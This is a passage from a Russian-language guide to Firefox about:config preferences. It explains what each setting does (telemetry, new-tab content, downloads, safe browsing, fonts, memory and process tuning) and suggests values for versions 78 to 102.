browser.contentblocking.report.show\_mobile\_app browser.contentblocking.report.vpn.enabled*** [\*](https://www.askvg.com/firefox-tip-remove-lockwise-and-monitor-sections-from-aboutprotections-page/) Для Firefox 78+ В браузере есть специальная страница *about:protections* на которой можно посмотреть статистику заблокированных отслеживающих трекеров и пр. Переключив эти опции в **false**, вы уберёте с этой страницы секции: Переход на страницу менеджера паролей *about:logins* Firefox Monitor Реклама мобильного Firefox VPN если используется. Сами эти функции по прежнему будут работать. ***browser.download.animateNotifications*** При выключении **false** не будет отображаться анимация большой синей стрелки, когда файл ставится на загрузку ***browser.download.improvements\_to\_download\_panel*** [\*](https://www.white-windows.ru/kak-v-ozhidaemoj-novoj-versii-firefox-vosstanovit-dialogovoe-okno-zagruzki/) Для Firefox 102+ Если переключить эту опцию в **false** будет показываться диалоговое окно загрузки, как в прошлых версиях Firefox. В новых Firefox файл тихо скачивается без появления каких-либо окошек ***browser.download.sanitize\_non\_media\_extensions*** [\*](https://support.mozilla.org/en-US/questions/1349622) Для Firefox 91 При загрузке файлов с некоторых сайтов (неправильно настроенных программистами), скачиваемый файл с исходным расширением например ***...xxx*** может скачаться как ***...zip***, ***...pdf*** или с другим расширением. Соответственно, программы которые эти файлы открывают могут их не открыть или не увидеть. Переключение этой опции в **false** решит проблему. Если у вас всё в порядке с загрузкой файлов, оставьте её в **true** ***browser.discovery.enabled services.sync.prefs.sync.browser.discovery.enabled browser.newtabpage.activity-stream.asrouter.userprefs.cfr.addons browser.newtabpage.activity-stream.asrouter.userprefs.cfr.features services.sync.prefs.sync.browser.newtabpage.activity-stream.asrouter.userprefs.cfr.addons services.sync.prefs.sync.browser.newtabpage.activity-stream.asrouter.userprefs.cfr.features*** [\*](https://support.mozilla.org/ru/kb/rekomendacii-rasshirenij) «Рекомендовать расширения при просмотре» и «Рекомендовать функции при просмотре». Firefox может время от времени рекомендовать функции или расширения во время просмотра веб-страниц. Если вам эти рекомендации не нужны, переключите эти опции в **false** ![image](https://habrastorage.org/r/w780q1/webt/mo/jm/q4/mojmq4df0mnkokfwzi9ptqaheoa.jpeg) ***browser.display.use\_document\_fonts*** Функция которая разрешает веб-сайтам использовать свои шрифты вместо установленных. По умолчанию включена **1**. На определённых сайтах могут не так как вам нужно отображаться шрифты. Что бы этого избежать, можно её отключить, установив значение **0**. В этом случае сайты будут показывать текст в шрифте выбранном вами («Настройки в главном меню браузера --> Основные --> Шрифты и цвета»). **Решение возникающих проблем со шрифтами** В отключении этой функции есть недостаток: на некоторых сайтах может искажаться текст, или по верх текста могут появиться какие-то надписи от кода страницы. ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/b7d/d62/34b/b7dd6234b5683ea31e17fd8fe8a45877.jpg) По этому если посещаемых вами сайтов много и в них часто встречаются такие ошибки с отрисовкой текста, возможно сделать по другому. Не изменять значение этой опции на 0, а в настройках uBlock включить аналогичную функцию. С той лишь разницей, что для определённых сайтов блокировку можно отключить. Таким способом вы можете отключить подгружаемые шрифты на сайтах где всё нормально отображается, а на проблемных сайтах оставить шрифты сайта. ![image](https://habrastorage.org/r/w780q1/webt/p8/tg/ms/p8tgmsbcodkdgyku7to4rq6aurs.jpeg) ![image](https://habrastorage.org/r/w780q1/webt/id/hx/dh/idhxdhqkgmvauj48kznxokvohqy.jpeg) . ***browser.fixup.alternate.enabled*** Если в адресной строке к *http://* вы допишите какое-нибудь слово, например *habr*, браузер в начале попытается перейти по этой ссылке <http://habr>, но если он не найдёт этот домен, он автоматически в поисках какого-нибудь сайта наугад подставит *www.* спереди и/или *.com* сзади (**browser.fixup.alternate.prefix** и **browser.fixup.alternate.suffix**). Этот как бы сомнительная помощь в угадывании нужных вам сайтов. Мало того, что эта функция не работает с http**s**://, она мало эффективна (сайты могут иметь на конце абсолютно разные окончания *.org* *.ru* *.biz* и пр.) и потенциально небезопасна (может случайно перенаправить на зловредный сайт, посещать который вы не собирались). Желательно отключить эту функцию **false** ***browser.helperApps.neverAsk.openFile*** ***normalopenindialog.ignoreExt*** (этот параметр создаётся как строка) После нажатия по ссылке загрузки какого-нибудь файла может появиться окно с выбором действия как поступить дальше. Например сохранить файл или после загрузки сразу открыть его в какой-нибудь выбранной программе. Внизу окна есть возможность сохранить выбранное действие "*Выполнять автоматически для всех файлов данного типа*", чтобы браузер не открывал повторно это окно, а автоматически выполнял последнее выбранное действие для такого типа файлов. В некоторых случаях с [определёнными типами файлов](https://habr.com/ru/post/78284/) это не срабатывает и окно по прежнему будет появляться. Можно попытаться починить поведение браузера изменив значения этих двух опций, разрешив браузеру не показывать окно выбора действия для выбранных вами типов файлов. В первой опции вписываются через запятую так называемые [MIME-types](https://snipp.ru/handbk/mime-list) файлов. Например для файла торрента MIME тип будет **application/x-bittorrent** Во второй опции разделяя вертикальной линией можно вписать расширения файлов, например **torrent|pdf|doc** Не всегда измения этих настроек помогают. Поэтому существуют специальные расширения для браузера которые справляются с многими типами файлов например [InlineDisposition Reloaded](https://addons.mozilla.org/ru/firefox/addon/inlinedisposition-reloaded/) ***browser.history\_swipe\_animation.disabled*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=860493) Функция для macOS, не работает в Linux. Отключите её **true** ***browser.messaging-system.whatsNewPanel.enabled*** Для Firefox 78+. Если отключить эту функцию **false**, не будет обновляться лента новостей изменений в браузере, посмотреть которую можно нажав кнопку Меню, и затем внизу открыть «Что нового». ***browser.meta\_refresh\_when\_inactive.disabled*** [\*](https://www.gadgetstyle.com.ua/48216-turn-off-website-auto-reloading-pages/) Если включить эту функцию **true**, веб-страницы в неактивных вкладках (которые вы в данный момент не просматриваете) не будут автоматически перезагружаться. Перезагрузка страницы может использоваться на спортивных или других сайтах, где информация может постоянно дополняться или изменяться. Однако большинство сайтов сейчас используют скрипты, с помощью которых обновляется лишь небольшой кусочек страницы, а не вся страница целиком (например чат на страницах Youtube). В этих случаях эта настройка работать не будет. ***browser.newtab.preload*** [\*](https://www.ghacks.net/2012/08/15/firefoxs-new-tab-page-performance-improvements-incoming/) Предзагрузка миниатюр в новой вкладке если не используется пустая страница. Если же используется пустая страница, либо оперативной памяти в компьютере очень мало, отключите эту функцию **false** ***browser.newtabpage.activity-stream.feeds.section.highlights services.sync.prefs.sync.browser.newtabpage.activity-stream.feeds.section.highlights services.sync.prefs.sync.browser.newtabpage.activity-stream.section.highlights.rows*** [Избранное](https://support.mozilla.org/ru/kb/skrytie-i-otobrazhenie-plitok-v-novoj-vkladke). Дублируется в настройках главного меню браузера, раздел «Начало» или по ссылке *about:preferences#home* Функции отвечают за отображение плиток «Избранное» в [Новой вкладке](https://support.mozilla.org/ru/kb/kak-rabotayut-plitki). Не хотите видеть эти плитки, переключите на **false** Эти опции глобальные, но есть возможность отключить лишь определённые секции: > ***browser.newtabpage.activity-stream.section.highlights.includePocket services.sync.prefs.sync.browser.newtabpage.activity-stream.section.highlights.includePocket*** Страницы, сохранённые в Pocket > ***browser.newtabpage.activity-stream.section.highlights.includeDownloads services.sync.prefs.sync.browser.newtabpage.activity-stream.section.highlights.includeDownloads*** Недавние загрузки > ***browser.newtabpage.activity-stream.section.highlights.includeBookmarks services.sync.prefs.sync.browser.newtabpage.activity-stream.section.highlights.includeBookmarks*** Закладки > ***browser.newtabpage.activity-stream.section.highlights.includeVisited services.sync.prefs.sync.browser.newtabpage.activity-stream.section.highlights.includeVisited*** Посещённые страницы ***browser.newtabpage.activity-stream.showSearch services.sync.prefs.sync.browser.newtabpage.activity-stream.showSearch*** [Поиск в интернете](https://support.mozilla.org/ru/kb/skrytie-i-otobrazhenie-plitok-v-novoj-vkladke). Дублируется в настройках главного меню браузера, раздел «Начало» или по ссылке *about:preferences#home* Функция включает или отключает поле поиска на странице [Новой вкладки](https://support.mozilla.org/ru/kb/kak-rabotayut-plitki). Убирается значением **false** ***browser.newtabpage.activity-stream.feeds.topsites services.sync.prefs.sync.browser.newtabpage.activity-stream.feeds.topsites services.sync.prefs.sync.browser.newtabpage.activity-stream.topSitesRows*** [Топ сайтов](https://support.mozilla.org/ru/kb/skrytie-i-otobrazhenie-plitok-v-novoj-vkladke). Дублируется в настройках главного меню браузера, раздел «Начало» или по ссылке *about:preferences#home* Функции отвечают за отображение плиток «Топ сайтов» (сайты, которые вы чаще всего посещаете) в [Новой вкладке](https://support.mozilla.org/ru/kb/kak-rabotayut-plitki). Не хотите видеть эти плитки, переключите опции в **false** ***browser.newtabpage.activity-stream.feeds.snippets services.sync.prefs.sync.browser.newtabpage.activity-stream.feeds.snippets*** [Заметки](https://support.mozilla.org/ru/kb/chastye-voprosy-o-snippetah-v-firefox). Дублируется в настройках главного меню браузера, раздел «Начало» или по ссылке *about:preferences#home* Когда вы открываете Домашнюю страницу Firefox или новую вкладку в Firefox, вы увидите (либо внизу, либо над панелью поиска на странице [Новая вкладка](https://support.mozilla.org/ru/kb/kak-rabotayut-plitki)) на странице краткое сообщение. Это заметка! Обычно в них вам показывают различные подсказки и советы. Они могут помочь новичкам разобраться с устройством и возможностями браузера. Тем кто с Firefox знаком не первый год они врядли будут чем-то полезны, можно их отключить **false** ***browser.newtabpage.activity-stream.feeds.telemetry browser.newtabpage.activity-stream.telemetry browser.newtabpage.activity-stream.telemetry.structuredIngestion*** [\*](https://www.askvg.com/tip-disable-telemetry-and-data-collection-in-mozilla-firefox-quantum/) Телеметрия. Сбор и отправка данных о настройке пользователем «плиток» веб-содержимого на домашней странице (новой вкладке). Отключайте **false** ***browser.newtabpage.activity-stream.showSponsored browser.newtabpage.activity-stream.showSponsoredTopSites services.sync.prefs.sync.browser.newtabpage.activity-stream.showSponsored services.sync.prefs.sync.browser.newtabpage.activity-stream.showSponsoredTopSites*** Показ рекламы в новой вкладке. Отключайте **false** ***browser.ping-centre.telemetry*** Телеметрия. Отключайте **false** ***browser.preferences.defaultPerformanceSettings.enabled*** [\*](https://support.mozilla.org/ru/kb/parametry-proizvoditelnosti-brauzera-firefox) Использовать рекомендуемые настройки производительности. Раз уж вы залезли в *about:config* — отключайте эту функцию **false** ***browser.preferences.search*** В главном меню настроек Firefox (*about:preferences*) сверху есть специальное поисковое поле «Найти в настройках». При вводе букв или части слов, совпадения будут подсвечены и выделены в результатах поиска. Если вы этим поиском не пользуетесь или не теряетесь «в трёх соснах», можете убрать его со страниц настроек, переключив эту опцию в **false** ***browser.safebrowsing.allowOverride browser.safebrowsing.blockedURIs.enabled browser.safebrowsing.downloads.enabled browser.safebrowsing.downloads.remote.enabled browser.safebrowsing.downloads.remote.block\_dangerous browser.safebrowsing.downloads.remote.block\_dangerous\_host browser.safebrowsing.downloads.remote.block\_potentially\_unwanted browser.safebrowsing.downloads.remote.block\_uncommon browser.safebrowsing.malware.enabled browser.safebrowsing.phishing.enabled*** Отключите эти опции, если ваш процессор не поддерживает SSE2 инструкции. ***browser.search.official*** Интеграция сервисов Mozilla в поиск браузера. Можете отключить её **false** ***browser.search.update*** Автоматически обновление [поисковых систем](https://support.mozilla.org/ru/kb/dobavlenie-ili-udalenie-poiskovika-v-firefox) (плагинов) после запуска Firefox. Если поиск через [Панель поиска](https://support.mozilla.org/ru/kb/stroka-poiska#w_available-search-engines) когда-нибудь перестанет работать, можете потом их обновить, включив эту опцию обратно. Однако эти плагины необходимо обновлять очень редко, так что можете отключить эту функцию **false** ***browser.search.suggest.enabled*** Отображать поисковые предложения. Подсказки при вводе слов в поисковую панель, можете отключить **false**, если они вам не нужны. ***browser.urlbar.suggest.searches services.sync.prefs.sync.browser.urlbar.suggest.searches*** Отображать поисковые предложения при использовании панели адреса. Если поле для ввода ссылки не используется дополнительно как поисковая панель, отключите эту функцию **false** ***browser.shell.checkDefaultBrowser*** Проверка, является ли Firefox браузером по умолчанию. Отключение проверки **false** ***browser.sessionhistory.max\_total\_viewers*** [\*](http://kb.mozillazine.org/Browser.sessionhistory.max_total_viewers) Firefox по умолчанию сохраняет в оперативной памяти некоторую часть содержимого сайтов которые вы посетили в течение одной сессии. Сделано это для того, чтобы нажимая кнопки переключения страниц «вперёд» или «назад», открытые ранее в этой же вкладке страницы не загружались опять полностью из интернета, а быстро подхватывались из оперативной памяти. Объём занимаемой памяти для этой функции браузер определяет сам (значение **-1**). Однако если ваш Firefox съедает практически всю свободную оперативную память и компьютер начинает сильно тормозить, отключите эту функцию, установив значение **0** ***browser.sessionstore.interval*** [\*](https://habr.com/post/397865/) [\*](http://www.our-firefox.ru/kak-v-mozilla-firefox/izbavlenie-ot-zaderzhek-pri-prosmotre.html) Параметр отвечает за периодичность сохранения сессии на диск во время работы Firefox. Цель — восстановление открытых вкладок и набранного текста в ещё не отправленных сообщениях после аварийного закрытия браузера и его повторного запуска. Это бывает полезно если вы часто пишете длинный текст в браузере, и перед его отправкой Firefox часто самопроизвольно закрывается с ошибкой. По умолчанию Firefox сохраняет данные сессии через каждые 15 секунд (значение 15000 миллисекунд). Если с вашим Firefox всё впорядке в плане стабильности работы, можете изменить значение на **1800000** (30 минут). В некоторых случаях, после изменения этого параметра в сторону увеличения, браузер работает немного быстрее и реже подлагивает. ***browser.ssb.enabled*** [\*](https://www.white-windows.ru/chto-takoe-funktsiya-brauzer-dlya-konkretnogo-sajta-v-firefox-i-kak-ee-vklyuchit/) [\*](https://askubuntu.ru/questions/270260/kak-otkryt-fiksirovannoe-okno-v-firefox-naprimer-v-rezhime-prilozhenija-chrome) Для Firefox 78 и 84 [Site-specific browser](https://en.wikipedia.org/wiki/Site-specific_browser) — функция запуска страниц сайта в виде как бы отдельных программ. После переключения этой опции в **true** можно создать в терминале команду такого вида `firefox -ssb https://www.youtube.com` когда вы запустите её, откроется отдельное окно браузера для этой страницы, но без отображения вкладок, адресной строки, кнопок и окошек меню. Такую команду затем можно поместить ввиде ярлыка на рабочем столе. Иногда созданные ярлыки почему-то не работают. Из Firefox 85+ эту функцию удалили. ***browser.startup.homepage\_override.mstone*** После обновления браузера, Firefox может показать дополнительную вкладку рядом с вашей обычной страницей, чтобы предложить больше информации об изменениях или новых функциях, включенных в обновление. Отключить **ignore** ***browser.startup.upgradeDialog.enabled*** Для Firefox 91 Показ уведомлений обновления браузера. Если не будете обновляться, переключите опцию в **false** ***browser.stopReloadAnimation.enabled*** [\*](https://www.askvg.com/tip-make-mozilla-firefox-faster-by-disabling-ui-animations/) Анимация кнопки перезагрузки страницы. Отключение **false** ![image](https://habrastorage.org/webt/vq/4r/7s/vq4r7sgs_omjwl3fic-pif-tnig.gif) ***browser.slowStartup.notificationDisabled*** При включении **true**, не будет измеряться время запуска браузера и не будет выводиться предупреждение, если он медленно стартует. ***browser.suppress\_first\_window\_animation*** [\*](https://forum.mozilla-russia.org/viewtopic.php?pid=761429#p761429) Анимация открытия окна браузера. Отключение **false** ***browser.tabs.allowTabDetach*** [\*](https://www.opennet.ru/opennews/art.shtml?num=52221) [\*](https://www.antixforum.com/forums/topic/extra-thread-for-browser-questions/#post-47274) Для Firefox 78+. Эта функция запрещает отсоединение вкладок в новые окна. Создавалась разработчиками с целью починить баг. Когда в процессе работы, при неосторожном движении мыши во время клика на вкладку, вкладка отсоединяется в отдельное окно. Однако на очень медленных компьютерах эта функция может работать не правильно, и наоборот этот баг может проявляться сильнее. Если у вас часто случайным образом открываются новые окна, попробуйте переключить эту опцию в **false**. Или, если не поможет, можно поставить расширение [Disable Tab Detach 2](https://addons.mozilla.org/en-US/firefox/addon/disable-tab-detach-2/). ***browser.tabs.crashReporting.sendReport*** Отправка отчёта о падении вкладки в браузере. Можно отключить **false** ***browser.tabs.drawInTitlebar*** (если его нет, этот параметр создаётся как логическое) Firefox спрячет верхнюю панель заголовка окна браузера если установить значение **true**. Не во всех дистрибутивах Linux и не со всеми графическими оболочками может работать эта функция. Если этот способ у вас не сработает, можно установить расширение [Auto Fullscreen](https://addons.mozilla.org/ru/firefox/addon/i-auto-fullscreen/), которое запускает браузер в полноэкранном режиме, без панели заголовка. Что бы вкладки и панели автоматически не прятались, переключите опцию ***browser.fullscreen.autohide*** в значение **false** ***browser.tabs.remote.separatePrivilegedMozillaWebContentProcess*** Для Firefox 78+. Firefox создаёт отдельный привилегированный процесс для *addons.mozilla.org* и *accounts.firefox.com*. Если вы уже установили все свои расширения в браузер и не пользуетесь сервисами синхронизации Mozilla, можете отключить эту функцию **false** ***browser.tabs.remote.useCrossOriginEmbedderPolicy*** [\*](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cross-Origin-Embedder-Policy) [\*](https://www.chromestatus.com/feature/5642721685405696) ***browser.tabs.remote.useCrossOriginOpenerPolicy*** [\*](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cross-Origin-Opener-Policy) [\*](https://www.chromestatus.com/feature/5432089535053824) ***dom.postMessage.sharedArrayBuffer.withCOOP\_COEP*** [\*](https://docs.google.com/document/d/1zDlfvfTJ_9e8Jdc8ehuV4zMEu9ySMCiTGMS9y0GU92k/edit) Для Firefox 68 и 78. Функции безопасности [CORS](https://medium.com/nuances-of-programming/%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D0%B0%D1%8F-%D0%BD%D0%B0%D1%83%D0%BA%D0%B0-%D0%BD%D0%B0%D0%B3%D0%BB%D1%8F%D0%B4%D0%BD%D0%BE-cors-20a97786c18c), помогают браузеру защититься от злоумышленников. Включены по умолчанию в новых версиях браузеров. Включите их тоже **true** ***browser.tabs.remote.warmup.enabled*** [\*](https://www.opennet.ru/opennews/art.shtml?num=47901) Режим упреждающей отрисовки. При подведении курсора к вкладке браузер осуществляет отрисовку в буфер композитинга и в случае клика мгновенно выводит уже готовое содержимое на экран, устраняя задержку на отрисовку видимых областей. На медленных компьютерах эту функцию желательно отключить **false** ***browser.tabs.unloadOnLowMemory*** [\*](http://www.opennet.ru/opennews/art.shtml?num=50717) Автоматическая выгрузка вкладок из оперативной памяти для высвобождения ресурсов. Функция активируется при нехватке памяти (менее 400 Мб свободной памяти) и в первую очередь вытесняет давно неиспользуемые вкладки. При этом вкладки не исчезают, а переводятся в состояние готовности к загрузке (режим ожидания), аналогичное тому, что наблюдается после восстановления сеанса. Включите эту функцию **true**, если при просмотре страниц в браузере периодически возникают проблемы с малым объёмом установленной памяти. ***browser.tabs.warnOnClose*** Если отключить эту функцию **false**, после нажатия на крестик закрытия браузера не будет появляться окошко «Подтверждение закрытия» открытых вкладок. ***browser.toolbars.bookmarks.2h2020*** [\*](https://support.mozilla.org/ru/kb/udalenie-papki-drugie-zakladki-iz-paneli-zakladok) Для Firefox 84 и 91 Элемент контекстного меню «Показать другие закладки». Убирается переключением этой опции в **false** ***browser.touchmode.auto*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1355771#c16) Функция не работает в Linux. Отключайте **false** ***browser.uidensity*** Функция позволяет выбрать высоту вкладок и адресной строки. На мониторах с малой диагональю и небольшим разрешением, вкладки и адресная строка могут занимать слишком много места на экране. Это можно немного подправить. Установив одно из следующих ниже значений, получите соответствующий вид. **0** — по умолчанию, среднее (обычное) **1** — малое (компактное) **2** — большое (мобильное) ![image](https://habrastorage.org/r/w780q1/webt/b9/e9/85/b9e985sshtd7rsfsfljhvtbeli4.jpeg) ***browser.uitour.enabled*** Тур по новинкам Firefox. Отключить **false** ***browser.urlbar.dnsResolveSingleWordsAfterSearch*** [\*](https://www.opennet.ru/opennews/art.shtml?num=53178) Для Firefox 78+ Функция может быть полезна если ваш компьютер находится в локальной сети предприятия или провайдера где есть свои DNS и веб-серверы. При вводе в адресную строку браузера какого-нибудь слова, этот поисковый запрос может быть отправлен не только интернет поисковику, но и на серверы в локальной сети. Если вы пользуетесь общественными сетями Wi-Fi с авторизацией через [Captive portal](https://ru.wikipedia.org/wiki/Captive_portal) (см. ниже **network.captive-portal-service.enabled**) оставьте эту опцию включенной **1**. В остальных случаях её можно отключить **0** ***browser.urlbar.richSuggestions.tail*** [\*](https://www.linux.org.ru/news/mozilla/15830350) Для Firefox 78+. Предугадывание не полностью введённых поисковых запросов. Например, если пользователь ввёл «hobbit holes for sale in l», поисковый движок может предложить ему варианты «hobbit holes for sale in l**ondon**», «hobbit holes for sale in l**aguna**»… По сути, это тоже самое что есть сейчас, но будет с меньшим количеством написанного кода внутри страницы. Поисковый сервер тоже должен поддерживать новый метод поиска, что бы она работала. Пока эта функция не работает с поисковиками Google, Яндекс и пр. Разработчики Firefox [пытались связаться с Google](https://bugzilla.mozilla.org/show_bug.cgi?id=1645059) на тему встраивания этой функции у них на сервере. Однако пока Google не добавил её, а если и добавит, то скорее всего, экспериментально только для очень длинных поисковых запросов. Можете пока не включать (78) или отключить (84) эту функцию **false** ***browser.urlbar.speculativeConnect.enabled*** [\*](https://www.ghacks.net/2017/07/24/disable-preloading-firefox-autocomplete-urls/) Когда вы вводите адрес сайта в адресной строке, например *hab*, Firefox автоматически дописывает недостающие *r.com*. Названия из списка тех адресов сайтов к которым вы уже обращались ранее. В момент когда Firefox это сделает, он также заранее соединится с веб-сервером этого сайта, подготавливаясь к загрузке данных самой страницы. После того как будет введён адрес сайта и нажмётся Enter, браузеру уже не нужно совершать подготовительные соединения, занимающие по времени иногда несколько секунд, а он сразу загрузит веб-страницу. Эту функцию имеет смысл отключить только на очень медленных компьютерах. В остальных случаях желательно оставить её включеной **true** ***canvas.capturestream.enabled*** [\*](https://webrtc.github.io/samples/src/content/capture/canvas-video/) Механизм транслирования медиаэлементов в WebRTC. Отключение **false** ***content.sink.pending\_event\_mode*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1730958) Для Firefox 78, 84 и 91. Разработчики браузера по ошибке выставили не правильное значение этой опции. Позже в Firefox 94 исправили. Установите значение **1** ***datareporting.healthreport.uploadEnabled datareporting.policy.dataSubmissionEnabled*** Телеметрия. Отключить **false** ***device.sensors.enabled*** Позволяет через javascript получить доступ к датчикам устройства. Например, в мобильном Firefox можно получать информацию с датчика приближения. Если нет ни каких датчиков, либо доступ Firefox к ним вам не нужен, отключайте **false** ***devtools.whatsnew.enabled devtools.whatsnew.feature-enabled*** Для Firefox 78 Новости изменений в браузере для веб-разработчиков. Можете их отключить **false** ***dom.animations-api.compositing.enabled dom.animations-api.getAnimations.enabled dom.animations-api.implicit-keyframes.enabled dom.animations-api.timelines.enabled*** [\*](https://habr.com/ru/post/486454/) Функции связаны с показом и управлением/взаимодействием анимации на веб-страницах. Включены по умолчанию в новых Firefox. Включите их **true** ***dom.arena\_allocator.enabled*** [\*](https://acm.bsu.by/wiki/C2017/%D0%90%D0%BB%D0%BB%D0%BE%D0%BA%D0%B0%D1%82%D0%BE%D1%80%D1%8B#.D0.90.D1.80.D0.B5.D0.BD.D0.B0_.28arena.29) Для Firefox78. Более эффективная работа с оперативной памятью компьютера. Опция включена по умолчанию в новых Firefox. Включите её **true** ***dom.battery.enabled*** Отслеживание состояние батареи. Если используется стационарник, отключайте **false** ***dom.block\_download\_insecure*** [\*](https://www.comss.ru/page.php?id=9434) Для Firefox 102+ В целях безопасности функция запрещает загрузку файлов с https веб-страниц по http ссылкам. Если возникнут проблемы с загрузкой файлов (скорее всего на сайтах которые годами не обновляются и не следят за новыми веб-стандартами), отключите её **false** ***dom.block\_reload\_from\_resize\_event\_handler*** [\*](https://hg.mozilla.org/mozilla-central/rev/492fb20f2717) Для Firefox 78+ Функция раньше использовалась для устранения ошибок в Firefox на мобильных устройствах, но параллельно вызывала проблемы в других местах. Уже давно таких ошибок больше нет, по этому в начале её отключили и затем удалили. Отключите её **false** ***dom.dialog\_element.enabled*** [\*](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/dialog) Поддержка диалоговых форм и окон (новый веб-стандарт). Включите эту опцию **true** ***dom.enable\_performance\_observer*** С помощью этой функции, разработчик сайта может узнать например, за какое время у пользователя загрузился тот или иной элемент веб-страницы. Что бы затем исправить недочёты производительности в коде сайта. Со стороны пользователя это будет выглядеть как сбор ограниченной телеметрии его действий на сайте и автоматическая её отправка. Некоторые сайты могут отображаться неправильно если выключить эту опцию. Желательно оставить её включенной **true** ***dom.event.clipboardevents.enabled*** Позволяет сайту следить за действиями пользователя, когда он копирует выделенный текст с веб страницы и затем, определённым образом, подсунуть к скопированному тексту в буфер обмена дополнительно строку, например *"… Подробнее на httрs://.....".*. Если вам попадаются такие сайты на которых приходится копировать текст, и затем при вставке скопированного текста в конце автоматически добавляется такая вот ерунда, которая вам не нужна или мешает, отключите эту функцию **false**. После отключения этой функции, на некоторых сайтах может проявиться такая особенность, когда копируя текст и вставляя его в формы ввода текста на другом сайте, скопированный текст может вставиться тем же размером или формой откуда вы его копировали. Или например, при копировании названия строки ссылки, при вставке её в другую форму, она может отобразиться и работать так же как ссылка с сайта откуда вы её скопировали. То есть, отключение этой функции может дать особый эффект. В некоторых случаях это будет выглядеть как баг, а в некоторых как фича. ***dom.event.wheel-deltaMode-lines.disabled*** [\*](http://jetlag.photos) [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1696384) Для Firefox 84 Фукция исправляет ошибки прокрутки страниц на некоторых сайтах. Включена по умолчанию в Firefox 88. Включите её тоже **true** ***dom.events.compress.touchmove*** Для Firefox 84+. Функция для ноутбуков и компьютеров с тачпадом или тачскрином (сенсорным касанием). Для обычного стационарного ПК можно отключить **false** ***dom.events.testing.asyncClipboard dom.events.asyncClipboard.dataTransfer dom.events.asyncClipboard.clipboardItem dom.events.asyncClipboard.read*** [\*](https://habr.com/ru/company/ruvds/blog/358494/) [\*](https://web.dev/i18n/ru/async-clipboard/) [\*](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard) Функции связаны с более эффективным использованием буфера обмена браузера. Включены по умолчанию во многих других браузерах. Можете их тоже включить **true** ***dom.forms.autocomplete.formautofill*** [\*](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/autocomplete) [\*](http://w3c-test.org/html/semantics/forms/the-form-element/form-autocomplete.html) Если включить эту опцию, браузер сможет сохранять и затем при следующем посещении автоматически сам заполнять/подставлять на сайтах формы ввода для номера телефона, имени, фамилии и пр. Последний браузер Chrome по умолчанию работает со всеми существующими параметрами автозаполнения, кроме одного. Если вы не совершаете финансовые операции в браузере, для удобства и быстрой авторизации, можете включить эту настройку **true**. В целях лучшей конфиденциальности и безопасности, желательно не включать опцию **false**, а заполнять такие формы ввода в ручную ***dom.forms.datetime-local dom.forms.datetime-local.widget*** [\*](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/datetime-local) Если включить эти опции **true**, на определённых сайтах где необходимо указать дату и время может появиться окно календаря для упрощённого ввода. Эти функции включены в новых Firefox. В Firefox 68 — 84 *datetime-local* был спрятан за опцией **dom.forms.datetime.others** и скорее всего работает не везде, или вообще не работает. Но вы можете тоже попробовать её включить **true** ***dom.forms.enterkeyhint*** [\*](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/enterkeyhint) Для Firefox 84 и 91. В некоторых случаях, на каком-либо сайте, браузер может показать на экране виртуальную клавиатуру для заполнения текстовых форм. Эта функция делает немного удобней взаимодействия с такой клавиатурой и сайтом. Включена по умолчанию в новых Firefox, можете тоже её включить **true** ***dom.forms.inputmode*** [\*](https://developer.mozilla.org/ru/docs/Web/HTML/Global_attributes/inputmode) [\*](https://habr.com/ru/post/454606/) Функция для компьютеров с сенсорным экраном. Определяет какую виртуальную клавиатуру показывать пользователю (только буквы, только цифры или какую-нибудь другую). Если у вас обычный ПК без сенсорного экрана, оставьте опцию выключенной **false** ***dom.gamepad.enabled dom.gamepad.extensions.enabled*** Нет геймпада — отключить **false** ***dom.image-lazy-loading.enabled*** [\*](https://www.opennet.ru/opennews/art.shtml?num=52366) Для Firefox 84+ Функция отложенной загрузки изображений. Позволяет на некоторых веб-страницах, где применяется этот метод, сократить потребление памяти, снизить трафик и увеличить скорость начального открытия страниц. При условии, что у вас быстрый интернет, многоядерный процессор и работает аппаратное ускорение (компьютер с хорошей производительностью). На медленном компьютере эта функция может заметно снизить производительность браузера, так как изображения при прокрутке всё время будут подгружаться, а не загрузятся все сразу. Для таких компьютеров и очень медленном интернете эту функцию желательно отключить **false** ***dom.ipc.plugins.asyncdrawing.enabled*** [\*](https://forums.adobe.com/thread/2220599) Асинхронная прорисовка объектов на веб-странице плагином Flash Player. Улучшенная стабильность и производительность работы этого плагина. Если вы устанавливали в браузер Flash Player от 23 версии или более новый, оставьте опцию включенной **true**. Если используется Flash Player до 23 версии, отключите её **false** ***dom.ipc.plugins.flash.disable-protected-mode*** Функция отключения [Защищённого режима Adobe Flash](https://support.mozilla.org/ru/kb/zashishennyj-rezhim-adobe-flash-v-firefox?redirectlocale=en-US&redirectslug=flash-protected-mode-settings). В 64 битной версии Firefox эта настройка плагина не показывается. Однако её можно включить **true** из *about:config* ***dom.ipc.plugins.flash.subprocess.crashreporter.enabled dom.ipc.plugins.reportCrashURL*** Отправка отчётов о падении плагинов. Можно отключить **false** ***dom.ipc.processCount*** Для Firefox можно задать количество рабочих процессов. По умолчанию значение равно 8. Это значит, что к этим восьми процессам добавятся ещё пару дополнительных (в зависимости от настроек браузера) и всего процессов будет от 9 до 12. Для наилучшей производительности рекомендуют устанавливать значение этой опции равное количеству ядер в процессоре или количеству потоков в процессоре (см. **javascript.options.shared\_memory**). Начиная с Firefox 97 эта опция может работать только после переключения опции ***fission.autostart*** в значение **false** ***dom.ipc.processHangMonitor dom.ipc.reportProcessHangs*** [\*](https://support.mozilla.org/en-US/questions/1168367) [\*](https://compuals.ru/internet/web-stranitsa-zamedlyaet-brauzer) Firefox следит за временем загрузки каждой страницы, и если она загружается очень долго, в верху может появиться уведомление «Веб-страница замедляет ваш браузер...». Как правило, это уведомление появляется из-за очень медленного интернет соединения, плохой совместимости установленных дополнений или вирусов. Если у вас с загрузкой страниц таких проблем не возникает или вы знаете причину возникшей у вас проблемы, 